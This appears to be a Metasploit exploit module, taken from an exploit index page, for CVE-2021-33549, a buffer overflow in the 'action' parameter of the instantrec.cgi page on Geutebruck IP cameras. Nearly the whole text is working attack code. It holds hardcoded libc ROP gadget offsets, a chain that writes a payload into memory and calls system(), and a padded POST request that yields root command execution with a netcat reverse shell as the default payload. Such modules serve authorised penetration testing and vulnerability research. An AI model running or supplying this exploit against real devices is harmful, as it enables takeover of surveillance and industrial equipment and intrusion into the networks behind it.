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## https://sploitus.com/exploit?id=MSF:EXPLOIT/LINUX/HTTP/GEUTEBRUCK_INSTANTREC_BOF/
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Geutebruck instantrec Remote Command Execution',
        'Description' => %q{
          This module exploits a buffer overflow within the 'action'
          parameter of the /uapi-cgi/instantrec.cgi page of Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx,
          ETHC-22xx, and EWPC-22xx devices running firmware versions == 1.12.0.27 as well as firmware
          versions 1.12.13.2 and 1.12.14.5.
          Successful exploitation results in remote code execution as the root user.
        },

        'Author' => [
          'Titouan Lazard - RandoriSec', # Discovery
          'Ibrahim Ayadhi - RandoriSec' # Metasploit Module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2021-33549'],
          ['URL', 'https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/'],
          ['URL', 'http://geutebruck.com'],
          ['URL', 'https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03']
        ],
        'DisclosureDate' => '2021-07-08',
        'Privileged' => true,
        'Platform' => %w[unix linux],
        'Arch' => [ARCH_ARMLE],
        'Targets' => [
          ['Automatic Target', {}]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'
        },
        'Notes' => {
          'Stability' => ['CRASH_SAFE'],
          'Reliability' => ['REPEATABLE_SESSION'],
          'SideEffects' => ['ARTIFACTS_ON_DISK']
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path to the instantrec page', '/uapi-cgi/instantrec.cgi'])
      ]
    )
  end

  def write_payload
    # gadgets
    libc_add = 0x402da000
    system_off = 0x00357fc
    libc_data_off = 0x12c960
    str_r1_off = 0x0006781c # str r0 into r4 + 0x14; pop r4 pc;
    pop_r0_off = 0x00101de4 # pop r0 pc
    pop_r1_off = 0x0010252c # pop r1 pc
    pop_r4_off = 0x00015164 # pop r4 pc
    system_ = libc_add + system_off
    str_r1 = libc_add + str_r1_off
    pop_r0 = libc_add + pop_r0_off
    pop_r1 = libc_add + pop_r1_off
    pop_r4 = libc_add + pop_r4_off
    add_str = libc_data_off + libc_add + 4
    chunks = (payload.raw + ' ' * (4 - payload.raw.length % 4)).unpack('I<*')
    rop = []
    rop += [pop_r4]
    rop += [add_str - 0x14]
    chunks.each_with_index do |chunk, index|
      rop += [pop_r1]
      rop += [chunk]
      rop += [str_r1]
      rop += if index != (chunks.length - 1)
               [add_str - 0x14 + ((index + 1) * 4)]
             else
               [0x41414141]
             end
    end
    rop += [pop_r0]
    rop += [add_str]
    rop += [system_]
    rop.pack('V*')
  end

  def exploit
    print_status("#{rhost}:#{rport} - Attempting to exploit...")
    pad_size = 536
    data = Rex::Text.pattern_create(pad_size) + write_payload
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri('/', Rex::Text.rand_hostname, '../', target_uri.path),
      'vars_post' => {
        'action' => data
      }
    )
    handler
  end
end